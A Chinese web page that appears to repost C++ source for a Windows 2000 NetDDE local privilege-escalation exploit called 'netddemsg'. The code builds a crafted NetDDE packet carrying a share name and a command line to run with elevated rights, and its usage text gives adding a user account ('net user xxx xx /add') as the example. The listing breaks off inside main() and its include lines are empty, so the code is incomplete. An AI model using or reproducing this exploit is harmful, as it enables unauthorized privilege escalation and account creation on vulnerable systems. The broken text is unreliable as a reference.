w2k本地溢出netddemsg源码

王朝vc·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

// netddemsg.cpp : Defines the entry point for the application.

// To link include library nddeapi.lib

#include

#include

#include

#include

char mess[300];

void OutPutString(char *str)

{

printf("%s\r\n",str);

}

void NDDEError(UINT err)

{

char error[256];

NDdeGetErrorString(err,error,256);

OutPutString(error);

// exit(err);

}

void *BuildNetDDEPacket(const char *svShareName, const char* svCmdLine, int *pBufLen)

{

// Build NetDDE message

int cmdlinelen=strlen(svCmdLine);

int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;

char *funky=(char *)malloc(funkylen);

if(funky==NULL)

{

OutPutString("Out of memory.");

return NULL;

}

// 0xDDE1DDE1(magic number) 0x00000001 (?) 0x00000001 (?) // ShareModId unused (?)

char magic[0x20]="\xE1\xDD\xE1\xDD\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x09\x00\x00\x00\x01\xCC\xCC\xCC\xCC\x0";

memcpy(funky, magic, 0x18);

memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // Share name

memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Command line to execute

*pBufLen=funkylen;

return funky;

}

void Usage(char *file)

{

_snprintf(mess, 300, "Syntax is: %s [-s sharename] \r\n", file);

OutPutString(mess);

_snprintf(mess, 300, "\t if the command line contain BLANK, use \" \" to include it,\r\n \t for ex: %s \"net user xxx xx /add\"\r\n", file);

OutPutString(mess);

OutPutString("\t /? or NO parameter show this.");

exit(0);

}

int main(int argc, char *argv[])

{

// Check command line

int cmdlinelen;

if(argc

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航